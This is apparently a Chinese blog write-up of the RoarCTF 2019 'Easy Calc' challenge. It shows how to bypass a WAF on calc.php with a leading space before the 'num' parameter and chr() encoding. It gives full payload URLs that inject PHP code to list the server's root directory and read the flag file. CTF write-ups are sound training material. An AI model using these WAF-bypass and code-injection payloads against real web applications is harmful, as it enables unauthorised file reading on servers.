[RoarCTF 2019]Easy Calc

打开是一个计算器

输入会出现结果。

看名字有clac,我还查了一下calc函数

calc() 函数用于动态计算长度值。

  • 需要注意的是,运算符前后都需要保留一个空格,例如:width: calc(100% - 10px)
  • 任何长度值都可以使用calc()函数进行计算;
  • calc()函数支持 "+", "-", "*", "/" 运算;
  • calc()函数使用标准的数学运算优先级规则;

不过对写题没什么帮助,就当课外知识吧

查看源码发现提示

WAF是什么呢,查阅资料:

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

根据我的理解,应该是一个类似与防火墙的东西

查看一下calc.php文件,可以得知被过滤的字符

scandir():列出目录中的文件和目录

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

chr():从不同的 ASCII 值返回字符

因为/被过滤 所以使用chr(47)来替代

构造payload

http://node4.buuoj.cn:25834/calc.php?num=print_r(scandir(chr(47)))

  发现num不能传递字符,利用空格绕过

  在num前加一个空格,进行目录读取

http://node4.buuoj.cn:25834/calc.php? num=print_r(scandir(chr(47)))

 file_get_contents():把整个文件读入一个字符串中

用法:file_get_contents(path,include_path,context,start,max_length)

参数描述
path必需。规定要读取的文件。
include_path可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

因为引号也被过滤了,所以flagg也需要使用chr函数

构造payload

http://node4.buuoj.cn:25834/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值